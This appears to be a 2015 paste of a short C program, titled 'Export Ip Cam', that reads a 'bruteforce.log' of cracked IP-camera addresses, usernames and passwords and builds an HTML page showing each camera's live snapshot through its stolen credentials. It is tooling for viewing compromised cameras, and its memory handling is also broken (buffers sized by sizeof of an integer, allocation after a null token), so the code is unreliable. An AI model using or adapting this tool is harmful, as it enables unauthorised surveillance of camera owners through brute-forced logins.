SHARE
TWEET

Export Ip Cam

a guest Jul 13th, 2015 144 Never
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main ()
  6. {
  7.     char c ;
  8.     static const char filename[] = "bruteforce.log";
  9.     static const char filename2[] = "export_ip.html";
  10.    FILE *file = fopen ( filename, "r" );
  11.    FILE *export_ip = fopen(filename2,"w+") ;
  12.    int j = 1 ;
  13.  
  14.    if ( file != NULL )
  15.    {
  16.       fprintf(export_ip,"<html><head><title>Export IP Cam</title></head><body>") ;
  17.       char line [ 200 ];
  18.  
  19.       while ( fgets(line, sizeof line, file) != NULL )
  20.       {
  21.  
  22.     char * pch;
  23.  
  24.     char * url;
  25.     char * params[2];
  26.  
  27.     int i = 0;
  28.  
  29.     pch = strtok (line,"-");
  30.     url = malloc(sizeof(strlen(pch)));
  31.     strcpy(url, pch);
  32.    url[strlen(url)-1]='\0' ;
  33.  
  34.     printf("%s\n", url);
  35.  
  36.     while (pch != NULL)
  37.     {
  38.         pch = strtok (NULL, " :");
  39.         params[i] = malloc(sizeof(strlen(pch)));
  40.         if(pch != NULL)
  41.         {
  42.             strcpy(params[i], pch);
  43.             printf("param[%d]:%s\n", i, params[i]);
  44.         }
  45.  
  46.         i++;
  47.  
  48.     }
  49.     if (export_ip != NULL)
  50.     {
  51.         fprintf(export_ip,"<div style='border:1px solid#ccc;padding:8px;margin-bottom:8px;'><img style='width:320px;'src='%ssnapshot.cgi?user=%s&pwd=%s'/>", url, params[0], params[1]) ;
  52.         fprintf(export_ip,"<b>Source (%d):</b> %s, %s:%s</div>\n", j, url, params[0], params[1]) ;
  53.         j++ ;
  54.     }
  55.      else
  56.    {
  57.       perror( filename2 );
  58.    }
  59.  
  60.      }
  61.       fprintf(export_ip,"</body></html>");
  62.       fclose(export_ip) ;
  63.       fclose( file );
  64.    }
  65.    else
  66.    {
  67.       perror( filename );
  68.    }
  69.    c = getchar() ;
  70.     return 0;
  71. }
RAW Paste Data
Top